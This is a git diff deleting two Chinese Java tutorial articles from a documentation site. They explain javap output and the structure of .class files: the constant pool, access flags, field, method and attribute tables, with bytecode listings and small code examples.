带链接的都是我们之前讲过的,是不是发现所有的知识都串联起来了?这就是我们学习 javap 和字节码的原因,了解字节码的同时,也能够加深对 Java 知识的理解。 - -字段的修饰符一般有: - -- [访问权限修饰符](https://javabetter.cn/oo/access-control.html),比如 public private protected -- [静态变量修饰符](https://javabetter.cn/oo/static.html),比如 static -- [final 修饰符](https://javabetter.cn/oo/final.html) -- 并发可见性修饰符,比如 [volatile](https://javabetter.cn/thread/volatile.html) -- 序列化修饰符,比如 [transient](https://javabetter.cn/io/transient.html) - -然后是字段的类型(可以是[基本数据类型](https://javabetter.cn/basic-grammar/basic-data-type.html)、[数组](https://javabetter.cn/array/array.html)和[对象](https://javabetter.cn/oo/object-class.html))和名称。 - -在 Main.class 字节码文件中,字段表的信息如下所示。 - -```java -private int age; - descriptor: I - flags: (0x0002) ACC_PRIVATE -``` - -表明字段的访问权限修饰符为 private,类型为 int,名称为 age。字段的访问标志和类的访问标志非常类似。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/bytecode-5f328e11-3486-4eb4-8fa9-5c5febfab894.png) - -## 方法表集合 - -方法表用来描述[接口](https://javabetter.cn/oo/interface.html)或者类中声明的方法,包括类方法和成员方法,以及构造方法。方法的修饰符和字段略有不同,比如说 volatile 和 transient 不能用来修饰方法,再比如说方法的修饰符多了 [synchronized](https://javabetter.cn/thread/synchronized-1.html)、[native](https://javabetter.cn/oo/native-method.html)、[strictfp](https://javabetter.cn/basic-extra-meal/48-keywords.html) 和 [abstract](https://javabetter.cn/oo/abstract.html)。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/bytecode-fd434d5c-ffc6-4a24-9787-98e573035068.png) - -### 构造方法 - -下面这部分为构造方法,返回类型为 void,访问标志为 public。 - -```java -public com.itwanger.jvm.Main(); - descriptor: ()V - flags: (0x0001) ACC_PUBLIC -``` - -- 声明:`public com.itwanger.jvm.Main();` 这是 Main 类的构造方法,用于创建 Main 类的实例。它是公开的(public)。 -- 描述符:`descriptor: ()V` - 这表示构造方法没有参数 (`()`) 并且没有返回值 (`V`,代表 `void`)。 -- 访问标志:`flags: (0x0001) ACC_PUBLIC`,表示这个构造方法是公开的,可以从其他类中访问。 - -来详细看一下其中 Code 属性。 - -```java -Code: - stack=2, locals=1, args_size=1 - 0: aload_0 - 1: invokespecial #1 // Method java/lang/Object."":()V - 4: aload_0 - 5: bipush 18 - 7: putfield #2 // Field age:I - 10: return - LineNumberTable: - line 6: 0 - line 7: 4 - LocalVariableTable: - Start Length Slot Name Signature - 0 11 0 this Lcom/itwanger/jvm/Main; -``` - -①、stack 为最大操作数栈,Java 虚拟机在运行的时候会根据这个值来分配栈帧的操作数栈深度(关于操作数栈和栈帧,我们会在[下一节](https://javabetter.cn/jvm/how-jvm-run-zijiema-zhiling.html)详细讲解),这里的值为 2,意味着操作数栈的深度为 2。 - -操作栈是一个 LIFO(后进先出)栈,用于存放临时变量和中间结果。在构造方法中,bipush 和 aload_0 指令可能会同时需要栈空间,所以需要 2 个操作数栈深度。 - -②、locals 为局部变量所需要的存储空间,单位为槽(slot),方法的参数变量和方法内的局部变量都会存储在局部变量表中。 - -局部变量表的容量以变量槽为最小单位,一个变量槽可以存放一个 32 位以内的数据类型,比如 boolean、byte、char、short、int、float、reference 和 returnAddress 类型。 - -局部变量表所需的容量大小是在编译期间完成计算的,大小由编译器决定,因此不同的编译器编译出来的字节码可能会不一样。 - -locals=1,这表示局部变量表中有 1 个变量的空间。对于实例方法(如构造方法),局部变量表的第一个位置(索引 0)总是用于存储 this 引用。 - -③、args_size 为方法的参数个数。 - -为什么 stack 的值为 2,locals 的值为 1,args_size 的值为 1 呢?**默认的构造方法不是没有参数和局部变量吗**? - -这是因为有一个隐藏的 this 变量,只要不是静态方法,都会有一个当前类的对象 this 悄悄的存在着。 - -这就解释了为什么 locals 和 args_size 的值为 1 的问题。 - -那为什么 stack 的值为 2 呢?因为字节码指令 invokespecial(调用父类的构造方法进行初始化)会消耗掉一个当前类的引用,所以 aload_0 执行了 2 次,也就意味着操作数栈的大小为 2。 - -关于[字节码指令](https://javabetter.cn/jvm/zijiema-zhiling.html),我们后面会详细介绍,这里只是简单提一下。 - -④、LineNumberTable,该属性的作用是描述源码行号与字节码行号(字节码偏移量)之间的对应关系。这对于调试非常重要,因为它允许调试器将正在执行的字节码指令精确地关联到源代码的特定行。 - -``` -LineNumberTable: - line 6: 0 - line 7: 4 -``` - -这里的意思是,第 6 行对应的字节码行号为 0,第 7 行对应的字节码行号为 4。 - -在调试过程中,当一个断点被触发或出现异常时,通过 LineNumberTable,我们可以知道这是源代码中的哪一行导致的。 - -④、LocalVariableTable,该属性的作用是描述帧栈中的局部变量与源码中定义的变量之间的关系。大家仔细看一下,就能看到 this 的影子了。 - -- Start 和 Length:定义变量在方法中的作用域。Start 是变量生效的字节码偏移量,Length 是它保持活动的长度。 -- Slot:变量在局部变量数组中的索引。 -- Name:变量的名称,如在源代码中定义的。 -- Signature:变量的类型描述符。 - -这里,只有一个局部变量 this,它指代构造方法正在初始化的对象。它的作用域是从指令偏移量 0 开始,持续整个方法的长度(长度为 11),并且被分配到局部变量表的第一个槽位(索引 0)。`Lcom/itwanger/jvm/Main;` 表明这个变量的类型是 com.itwanger.jvm.Main。 - -### 成员方法 - -下面这部分为成员方法 `getAge()`,返回类型为 int,访问标志为 public。 - -```java -public int getAge(); - descriptor: ()I - flags: (0x0001) ACC_PUBLIC -``` - -理解了构造方法的 Code 属性后,再看 `getAge()` 方法的 Code 属性时,就很容易理解了。 - -```java -Code: - stack=1, locals=1, args_size=1 - 0: aload_0 - 1: getfield #2 // Field age:I - 4: ireturn - LineNumberTable: - line 9: 0 - LocalVariableTable: - Start Length Slot Name Signature - 0 5 0 this Lcom/itwanger/jvm/Main; -``` - -最大操作数栈为 1,局部变量所需要的存储空间为 1,方法的参数个数为 1,是因为局部变量只有一个隐藏的 this,并且字节码指令中只执行了一次 aload_0。 - -①、字节码指令 - -- aload_0: 加载 this 引用到栈顶,以便接下来访问实例字段 age。 -- `getfield #2`: 获取字段值。这条指令读取 this 对象的 age 字段的值,并将其推送到栈顶。`#2` 是对常量池中的字段引用。 -- ireturn: 返回栈顶整型值。这里返回的是 age 字段的值。 - -②、附加信息 - -LineNumberTable 和 LocalVariableTable 同样提供了源代码的行号对应和局部变量信息,有助于调试和理解代码的执行流程。 - -## 小结 - -其实学习是这样的,可以横向扩展,也可以纵向扩展。当我们初学编程的时候,特别想多学一点,属于横向扩展,当有了一定的编程经验后,想更上一层楼,就需要纵向扩展,不断深入地学,连根拔起,从而形成自己的知识体系。 - -无论是从十六进制的字节码角度,还是 jclasslib 图形化查看反编译后的字节码的角度,也或者是今天这样从 javap 反编译后的角度,都能窥探出一些新的内容来! - -初学者一开始接触字节码的时候会感觉比较头大,没关系,我当初也是这样,随着时间的推移,经验的积累,慢慢就好了,越往深处钻,就越能体会到那种“技术我有,雄霸天下”的感觉~ - ---- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括 Java 基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM 等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/jvm/class-file-jiegou.md b/docs/src/jvm/class-file-jiegou.md deleted file mode 100644 index a564d619ab..0000000000 --- a/docs/src/jvm/class-file-jiegou.md +++ /dev/null @@ -1,537 +0,0 @@ ---- -title: 详解Java的类文件结构(.class文件的结构) -shortTitle: Java类文件结构 -category: - - Java核心 -tag: - - Java虚拟机 -description: 本文详细介绍了Java类文件结构,学习本文内容,您将掌握Java类文件的基本概念、类文件的结构、类文件的内容结构、类文件的常量池、类文件的访问标记、类索引、父类索引和接口索引、字段表、方法表、属性表、属性表的结构、属性表的类型、属性表的使用场景、属性表的使用方法、属性表的使用示例、属性表的使用注意事项,为您的Java编程之旅打下坚实基础。 -head: - - - meta - - name: keywords - content: Java,JavaSE,教程,二哥的Java进阶之路,jvm,Java虚拟机,class ---- - - -大家好,我是二哥呀,今天我拿了一把小刀,准备带大家解剖一下 Java 的类文件结构,也就是 .class 文件的内容结构,虽然它实际上是一串连续的二进制,由 0 和 1 组成,但我们仍然可以借助一些工具来看清楚它的真面目。 - ->类文件结构=.class文件的结构=Class文件结构,这三个说法都是一个意思,.class是从文件后缀名的角度来说的,Class是从Java类的角度来说的,类文件结构就是 Class 的中文译名。 - ----这部分内容前面其实已经讲过,但为了保持这篇内容的完整性,就暂时保留了下来,已经掌握的同学可以略过 start---- - -计算机的世界里流传着这么一句话,“**计算机科学领域的任何问题都可以通过增加一个中间层来解决**”。对于 Java 来说,[JVM](https://javabetter.cn/jvm/what-is-jvm.html) 就是这么一个产物,“Write once, Run anywhere”之所以能实现,靠得就是 JVM,它能在不同的操作系统下运行同一份源代码编译后的 class 文件。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-dfd7ce0d-1da2-4547-b2d7-57e0350f5911.png) - -Java 是跨平台的,JVM 作为中间层,自然要针对不同的操作系统提供不同的实现。拿 JDK 11 来说,它的实现就有上图中提到的这么多种(目前最新版本已经是 [JDK 21](https://www.oracle.com/java/technologies/downloads/) 了)。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-b1386f9e-c69b-44b0-a8d0-69ffbe9ed31f.png) - -通过不同操作系统的 JVM,我们的源代码就可以不用根据不同的操作系统编译成不同的二进制可执行文件了,跨平台的目标也就实现了。 - -**那这个 class 文件到底是什么玩意呢?它是怎么被 JVM 识别的呢?** - -我们用 IDEA 编写一段[简单的 Java 代码](https://javabetter.cn/overview/hello-world.html),文件名为 Hello.java。 - -```java -package com.itwanger.jvm; -class Hello { - public static void main(String[] args) { - System.out.println("Hello!"); - } -} -``` - -点击编译按钮后(也不用主动点,IDEA 会自动编译),IDEA 会帮我们生成一个名为 Hello.class 的文件,在 `target/classes` 的对应包目录下。直接双击打开后长下面这样子: - -```java -// -// Source code recreated from a .class file by IntelliJ IDEA -// (powered by Fernflower decompiler) -// - -package com.itwanger.jvm; - -class Hello { - Hello() { - } - - public static void main(String[] args) { - System.out.println("Hello!"); - } -} -``` - -看起来和源代码很像,只是多了一个空的[构造方法](https://javabetter.cn/oo/construct.html),对吧?它是 class 文件被 IDEA 自带的反编译工具 Fernflower 反编译后的样子。那真实的 class 文件长什么样子呢? - -可以在终端中通过 `xxd Hello.class` 命令来查看(前面我们已经讲过了,大家可以戳[这个链接](https://javabetter.cn/jvm/class-load.html)回看)。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-cb4afe63-6a8e-4ae1-a822-d4163c814daa.png) - -这就是 class 文件的十六进制形式。 - ----这部分内容前面其实已经讲过,但为了保持这篇内容的完整性,就暂时保留了下来,已经掌握的同学可以略过 end---- - -类文件的内容通常可以分为下面这几部分,见下图。 - -![](https://cdn.paicoding.com/stutymore/class-file-jiegou-20231030194547.png) - - - -## 01、魔数 - -回看 class 文件的十六进制形式截图。 - -第一行中有一串特殊的字符 `cafebabe`,它就是一个魔数,是 JVM 识别 class 文件的标志,[JVM 会在验证阶段](https://javabetter.cn/jvm/class-load.html)检查 class 文件是否以该魔数开头,如果不是则会抛出 `ClassFormatError`。 - -魔数 `cafebabe` 的中文意思显而易见,咖啡宝贝,再加上 Java 的图标本来就是一个热气腾腾的咖啡,可见 Java 与咖啡的渊源有多深。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/overview/two-02.png) - -## 02、版本号 - -紧跟着魔数后面的四个字节 `0000 0037` 分别表示副版本号和主版本号。也就是说,主版本号为 55(0x37 的十进制),也就是 Java 11 对应的版本号,副版本号为 0。 - -上一个 LTS 版本是 Java 8,对应的主版本号为 52,也就是说 Java 9 是 53,Java 10 是 54,只不过 Java 9 和 Java 10 都是过渡版本,下一个 LTS 版本是 Java 17,预计 2021 年 9 月份推出(从这里大家可以推断出这篇内容的初稿时间,哈哈哈)。 - -那现在是 2023年12月14日,Java 21 已经发布了。通过上面的方法,大家可以查看一下 Java 21 对应的版本号是多少,这个小作业就留给大家了,动动手,你会发现不一样的世界。 - -## 03、常量池 - -紧跟在版本号之后的是常量池,它包含了类、接口、字段和方法的符号引用,以及字符串字面量和数值常量。这些信息在编译时被创建,并在运行时被Java虚拟机(JVM)使用。 - -相当于一个资源仓库,主要存放量大类型常量: - -- 字面量(Literals):字面量是不变的数据,主要包括数值(如整数、浮点数)和字符串字面量。例如,一个整数100或一个字符串"Hello World",在源代码中直接赋值,编译后存储在常量池中。 -- 符号引用(Symbolic References):符号引用是对类、接口、字段、方法等的引用,它们不是由字面量值给出的,而是通过符号名称(如类名、方法名)和其他额外信息(如类型、签名)来表示。这些引用在类文件中以一种抽象的方式存在,它们在类加载时被虚拟机解析为具体的内存地址。 - -(这部分内容我们前面讲过,[戳链接](https://javabetter.cn/jvm/class-load.html#_4-resolution-%E8%A7%A3%E6%9E%90)回顾一下) - -好,接下来,我们通过实际的代码示例来看一下常量池到底是什么。 - -Java 定义了 boolean、byte、short、char 和 int 等[基本数据类型](https://javabetter.cn/basic-grammar/basic-data-type.html),它们在常量池中都会被当做 int 来处理。我们来通过一段简单的 Java 代码了解下。 - -```java -public class ConstantTest { - public final boolean bool = true; - public final char aChar = 'a'; - public final byte b = 66; - public final short s = 67; - public final int i = 68; -} -``` - -布尔值 true 的十六进制是 0x01、字符 a 的十六进制是 0x61,字节 66 的十六进制是 0x42,短整型 67 的十六进制是 0x43,整型 68 的十六进制是 0x44。所以编译生成的整型常量在 class 文件中的位置如下图所示。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-bbe4c673-c3a5-4952-901d-35446f91a3af.png) - -第一个字节 0x03 表示常量的类型为 CONSTANT_Integer_info,是 JVM 定义的 14 种常量类型之一,对应的还有 CONSTANT_Float_info、CONSTANT_Long_info、CONSTANT_Double_info 等,它们对应的标识分别是 0x04、0x05、0x06。 - -我用表格来简单表示下: - -| 常量类型 | 标识符 | 描述符 | -| :--- | :--- | :--- | -| CONSTANT_Integer_info | 0x03 | int 类型字面量 | -| CONSTANT_Float_info | 0x04 | float 类型字面量 | -| CONSTANT_Long_info | 0x05 | long 类型字面量 | -| CONSTANT_Double_info | 0x06 | double 类型字面量 | - - -对于 int 和 float 来说,它们占 4 个字节;对于 long 和 double 来说,它们占 8 个字节。来个 long 型的最大值观察下。 - -```java -public class ConstantTest { - public final long ong = Long.MAX_VALUE; -} -``` - -来看一下它在 class 文件中的位置。05 开头,7f ff ff ff ff ff ff ff 结尾,果然占 8 个字节,以前知道 long 型会占 8 个字节,但没有直观的感受,现在有了(😁)。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-2c876f52-1cc1-4076-807a-d85a1cb80e75.png) - -接下来,我们再来看一段代码。 - -```java -class Hello { - public final String s = "hello"; -} -``` - -“hello”是一个字符串,它的十六进制为 `68 65 6c 6c 6f`,我们来看一下它在 class 文件中的位置。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-801ed589-658c-407e-ac64-81fd525d7324.png) - -前面还有 3 个字节,第一个字节 0x01 是标识,标识类型为 CONSTANT_Uft8_info,第二个和第三个 0x00 0x05 用来表示第三部分字节数组的长度,如下图所示。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-ae4f38c9-68fe-40ad-91c6-3e7fd360de05.png) - -与 CONSTANT_Uft8_info 类型对应的,还有一个 CONSTANT_String_info,用来表示字符串对象的引用(之前代码中的 s),标识是 0x08。前者存储了字符串真正的值,后者并不包含字符串的内容,仅仅包含了一个指向常量池中 CONSTANT_Uft8_info 的索引。 - -这和我们前面讲的对象和引用就关联起来了,有没有?(😁) - -- [Java到底是值传递还是引用传递?](https://javabetter.cn/basic-extra-meal/pass-by-value.html) - -来看一下它在 class 文件中的位置。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-4e093bef-d592-4be7-847e-0ef5900c5fa4.png) - -CONSTANT_String_info 通过索引 19 来找到 CONSTANT_Uft8_info,见下图。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-85af064d-5dc6-4187-b4f3-3501ccfc99b3.png) - -除此之外,还有 CONSTANT_Class_info,用来表示类和接口,和 CONSTANT_String_info 类似,第一个字节是标识,值为 0x07,后面两个字节是常量池索引,指向 CONSTANT_Utf8_info——字符串存储的是类或者接口的全路径限定名。 - -拿 Hello.java 类来说,它的全路径限定名为 `com/itwanger/jvm/Hello`,对应的十六进制为“636f6d2f697477616e6765722f6a766d2f48656c6c6f”,是一串 CONSTANT_Uft8_info,指向它的 CONSTANT_Class_info 在 class 文件中的什么位置呢? - -先不着急,这里给大家介绍一款可视化字节码的工具 [jclasslib bytecode viewer](https://javabetter.cn/jvm/how-run-java-code.html)(前面也曾讲过),可以直接在 IDEA 的插件市场安装。安装完成后,选中 class 文件,然后在 View 菜单里找到 Show Bytecode With Jclasslib 子菜单,就可以查看 class 文件的关键信息了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-ac6cc8cf-ed25-4bbb-8685-d473ecf15a60.png) - -从上图中可以看到,常量池的总大小为 23,索引为 04 的 CONSTANT_Class_info 指向的是是索引为 21 的 CONSTANT_Uft8_info,值为 `com/itwanger/jvm/Hello`。21 的十六进制为 0x15,有了这个信息,我们就可以找到 CONSTANT_Class_info 在 class 文件中的位置了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-74816960-b8f7-42f3-9001-c05ebd25f58d.png) - -0x07 是第一个字节,CONSTANT_Class_info 的标识符,然后是两个字节,标识索引。 - -还有 CONSTANT_NameAndType_info,用来标识字段或方法,标识符为 12,对应的十六进制是 0x0c。后面还有 4 个字节,前两个是字段或者方法的索引,后两个是字段或方法的描述符,也就是字段或者方法的类型。 - -来看下面这段代码。 - -```java -class Hello { - public void testMethod(int id, String name) { - } -} -``` - -用 jclasslib 可以看到 CONSTANT_NameAndType_info 包含的索引有两个。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-70cd8902-136c-42a4-ab57-d6baf202e462.png) - -一个是 4,一个是 5,可以通过下图来表示 CONSTANT_NameAndType_info 的构成。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-5ac7d4c4-b905-462c-90f7-58b46fc5dda1.png) - -对应 class 文件中的位置如下图所示。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-eba9e047-d6fb-43e7-8c27-3683a076ccdd.png) - -接下来是 CONSTANT_Fieldref_info 、CONSTANT_Methodref_info 和 CONSTANT_InterfaceMethodref_info,它们三个的结构比较类似,可以通过下面的伪代码来表示。 - -``` -CONSTANT_*ref_info { - u1 tag; - u2 class_index; - u2 name_and_type_index; -} -``` - -学过 [C 语言](https://javabetter.cn/xuexiluxian/c.html)的符号表(Symbol Table)的话,对这段伪代码并不会陌生。 - -- tag 为标识符,Fieldref 的为 9,也就是十六进制的 0x09;Methodref 的为 10,也就是十六进制的 0x0a;InterfaceMethodref 的为 11, 也就是十六进制的 0x0b。 -- class_index 为 CONSTANT_Class_info 的常量池索引,表示字段 | 方法 | 接口方法所在的类信息。 -- name_and_type_index 为 CONSTANT_NameAndType_info 的常量池索引,拿 Fieldref 来说,表示字段名和字段类型;拿 Methodref 来说,表示方法名、方法的参数和返回值类型;拿 InterfaceMethodref 来说,表示接口方法名、接口方法的参数和返回值类型。 - -还有 CONSTANT_MethodHandle_info 、CONSTANT_MethodType_info 和 CONSTANT_InvokeDynamic_info,我这里用一个表格来表示下: - -| 常量类型 | 标识符 | 描述符 | -| :--- | :--- | :--- | -| CONSTANT_MethodHandle_info | 0x0f | 方法句柄 | -| CONSTANT_MethodType_info | 0x10 | 方法类型 | -| CONSTANT_InvokeDynamic_info | 0x12 | 动态调用点 | -| CONSTANT_Fieldref_info | 0x09 | 字段 | -| CONSTANT_Methodref_info | 0x0a | 普通方法 | -| CONSTANT_InterfaceMethodref_info | 0x0b | 接口方法 | -| CONSTANT_Class_info | 0x07 | 类或接口的全限定名 | -| CONSTANT_String_info | 0x08 | 字符串字面量 | -| CONSTANT_Uft8_info | 0x01 | 字符串 | - -啊,class 文件中最复杂的常量池部分就算是解剖完了,真不容易! - -## 04、访问标记 - -紧跟着常量池之后的区域就是访问标记(Access flags),这个标记用于识别类或接口的访问信息,比如说: - -- 到底是 [class 类](https://javabetter.cn/oo/object-class.html) 还是 [interface 接口](https://javabetter.cn/oo/interface.html)? -- 是 [public](https://javabetter.cn/oo/access-control.html) 吗? -- 是 [abstract 抽象类](https://javabetter.cn/oo/abstract.html)吗? -- 是 [final 类](https://javabetter.cn/oo/final.html)吗? -- 等等。 - -总共有 16 个标记位可供使用,但常用的只有其中 7 个,见下图。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-1f5d3154-9a28-4cfa-935e-43d7e023036e.png) - -这里用一个表格来表示下。 - -| 标记位 | 标识符 | 描述 | -| :--- | :--- | :--- | -| 0x0001 | ACC_PUBLIC | public 类型 | -| 0x0010 | ACC_FINAL | final 类型 | -| 0x0020 | ACC_SUPER | 调用父类的方法时,使用 invokespecial 指令 | -| 0x0200 | ACC_INTERFACE | 接口类型 | -| 0x0400 | ACC_ABSTRACT | 抽象类类型 | -| 0x1000 | ACC_SYNTHETIC | 标记为编译器自动生成的类 | -| 0x2000 | ACC_ANNOTATION | 标记为注解类 | -| 0x4000 | ACC_ENUM | 标记为枚举类 | -| 0x8000 | ACC_MODULE | 标记为模块类 | - -来看一个简单的枚举代码。 - -```java -public enum Color { - RED,GREEN,BLUE; -} -``` - -通过 jclasslib 可以看到访问标记的信息有 `0x4031 [public final enum]`。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-d4873db5-1a9d-4e05-9765-59a71b083fe5.png) - -对应 class 文件中的位置如下图所示。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-774e8289-582b-4762-9dce-b0590ee5ad3f.png) - -## 05、类索引、父类索引和接口索引 - -这三部分用来确定类的继承关系,this_class 为当前类的索引,super_class 为父类的索引,interfaces 为接口。 - -来看下面这段简单的代码,没有接口,默认继承 Object 类。 - -```java -class Hello { - public static void main(String[] args) { - - } -} -``` - -通过 jclasslib 可以看到类的继承关系。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-77c4ecff-6d36-405d-93da-ee06431bf312.png) - -- this_class 指向常量池中索引为 2 的 CONSTANT_Class_info。 -- super_class 指向常量池中索引为 3 的 CONSTANT_Class_info。 -- 由于没有接口,所以 interfaces 的信息为空。 - -对应 class 文件中的位置如下图所示。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-6d5d9189-12a2-45d3-b811-92deede2f78d.png) - -## 06、字段表 - -一个类中定义的字段会被存储在字段表(fields)中,包括[静态的和非静态的](https://javabetter.cn/oo/static.html)。 - -来看这样一段代码。 - -```java -public class FieldsTest { - private String name; -} -``` - -字段只有一个,修饰符为 private,类型为 String,字段名为 name。可以用下面的伪代码来表示 field 的结构。 - -``` -field_info { - u2 access_flag; - u2 name_index; - u2 description_index; -} -``` - -- access_flag 为字段的访问标记,比如说是不是 public | private | protected,是不是 static,是不是 final 等。 -- name_index 为字段名的索引,指向常量池中的 CONSTANT_Utf8_info, 比如说上例中的值就为 name。 -- description_index 为字段的描述类型索引,也指向常量池中的 CONSTANT_Utf8_info,针对不同的数据类型,会有不同规则的描述信息。 - -1)对于基本数据类型来说,使用一个字符来表示,比如说 I 对应的是 int,B 对应的是 byte。 - -2)对于引用数据类型来说,使用 `L***;` 的方式来表示,`L` 开头,`;` 结束,比如字符串类型为 `Ljava/lang/String;`。 - -3)对于数组来说,会用一个前置的 `[` 来表示,比如说字符串数组为 `[Ljava/lang/String;`。 - -对应到 class 文件中的位置如下图所示。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-5a40ed62-4ff2-4101-b2d5-15760032f563.png) - -看到这里相信你就能明白经常在 javap 命令中看到的一些奇怪的字符的意思了。 - -## 07、方法表 - -方法表和字段表类似,区别是用来存储方法的信息,包括方法名,方法的参数,方法的签名。 - -就拿 main 方法来说吧。 - -```java -public class MethodsTest { - public static void main(String[] args) { - - } -} -``` - -先用 jclasslib 看一下大概的信息。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-cbe6d025-84a5-4fea-821b-a4234f47c6cd.png) - -- 访问标记是 public static 的。 -- 方法名为 main。 -- 方法的参数为字符串数组;返回类型为 Void。 - -对应到 class 文件中的位置如下图所示。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-f3932093-46f3-4ef0-8598-bbd70515a9bd.png) - -## 08、属性表 - -属性表是 class 文件中的最后一部分,通常出现在字段和方法中。 - -来看这样一段代码。 - -```java -public class AttributeTest { - public static final int DEFAULT_SIZE = 128; -} -``` - -只有一个常量 DEFAULT_SIZE,它属于字段中的一种,就是加了 [final 的静态变量](https://javabetter.cn/oo/final.html)。先通过 jclasslib 看一下它当中一个很重要的属性——ConstantValue,用来表示静态变量的初始值。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-dee995d6-e285-4a31-b11f-e93c3599cd8e.png) - - -- Attribute name index 指向常量池中值为“ConstantValue”的常量。 -- Attribute length 的值为固定的 2,因为索引只占两个字节的大小。 -- Constant value index 指向常量池中具体的常量,如果常量类型为 int,指向的就是 CONSTANT_Integer_info。 - -我画了一副图,可以完整的表示字段的结构,包含属性表在内。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-53f73e24-f060-45d2-8e29-34263c31847b.png) - -对应到 class 文件中的位置如下图所示。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-423341a7-3aeb-4ac9-95e8-a1e7f7847255.png) - -来看下面这段代码。 - -```java -public class MethodCode { - public static void main(String[] args) { - foo(); - } - - private static void foo() { - } -} -``` - -main 方法中调用了 foo 方法。通过 jclasslib 看一下它当中一个很重要的属性——Code, 方法的关键信息都存储在里面。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-e76339a8-0aab-418b-9722-4b3c8591693c.png) - - -- Attribute name index 指向常量池中值为“Code”的常量。 -- Attribute length 为属性值的长度大小。 -- bytecode 存储真正的字节码指令。 -- exception table 表示方法内部的异常信息。 -- maximum stack size 表示操作数栈的最大深度,方法执行的任意期间操作数栈深度都不会超过这个值。 -- maximum local variable 表示临时变量表的大小,注意,并不等于方法中所有临时变量的数量之和,当一个作用域结束,内部的临时变量占用的位置就会被替换掉。 -- code length 表示字节码指令的长度。 - -对应 class 文件中的位置如下图所示。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/jvm/class-file-jiegou-b5853549-b17b-48eb-8eb3-a393fb5d655f.png) - -## 09、QA - -评论区有读者问到:“怎么通过索引值,定位到在class 文件中的位置,这个是咋算的?” - -在Java类文件中,常量池是一个索引表,它从索引值1开始计数,每个条目都有一个唯一的索引。 - -- 常量池计数器:在常量池之前,类文件有一个16位的常量池计数器,表示常量池中有多少项。它的值比实际常量数大1(因为索引从1开始)。 -- 常量池条目:每个常量池条目的开始是一个标签(1个字节),表明了常量的类型(如Class、Fieldref、Methodref等)。根据这个类型,后面跟着的数据结构也不同。 - -定位过程大致如下: - -- 读取常量池计数器:首先,从类文件的开头读取常量池计数器的值,确定常量池中有多少条目。 -- 遍历常量池:从常量池的第一项开始遍历。由于不同类型的常量长度不同,需要根据每个常量的类型来确定它的长度。 -- 根据索引定位:继续遍历,直到到达所需的索引值。每次遍历时,根据条目类型读取相应长度的数据,直到达到目标索引。 - -可以抽象成一个数组和一个 for 循环,就能明白了。 - -```java -int[] constantPool = new int[constantPoolCount]; -for (int i = 1; i < constantPoolCount; i++) { - int tag = constantPool[i]; - switch (tag) { - case CONSTANT_Integer_info: - i += 4; - break; - case CONSTANT_Float_info: - i += 4; - break; - case CONSTANT_Long_info: - i += 8; - break; - case CONSTANT_Double_info: - i += 8; - break; - case CONSTANT_Utf8_info: - int length = constantPool[i + 1]; - i += length + 1; - break; - case CONSTANT_String_info: - i += 2; - break; - case CONSTANT_Class_info: - i += 2; - break; - case CONSTANT_Fieldref_info: - i += 4; - break; - case CONSTANT_Methodref_info: - i += 4; - break; - case CONSTANT_InterfaceMethodref_info: - i += 4; - break; - case CONSTANT_NameAndType_info: - i += 4; - break; - case CONSTANT_MethodHandle_info: - i += 3; - break; - case CONSTANT_MethodType_info: - i += 2; - break; - case CONSTANT_InvokeDynamic_info: - i += 4; - break; - default: - throw new RuntimeException("Unknown tag: " + tag); - } -} -``` - -## 10、小结 - -到此为止,class 文件的内部算是剖析得差不多了,希望能对大家有所帮助。第一次拿刀,手有点颤,如果哪里有不足的地方,欢迎大家在评论区毫不留情地指出来! - -- class 文件是一串连续的二进制,由 0 和 1 组成,但我们仍然可以借助一些工具来看清楚它的真面目。 -- class 文件的内容通常可以分为下面这几部分,魔数、版本号、常量池、访问标记、类索引、父类索引、接口索引、字段表、方法表、属性表。 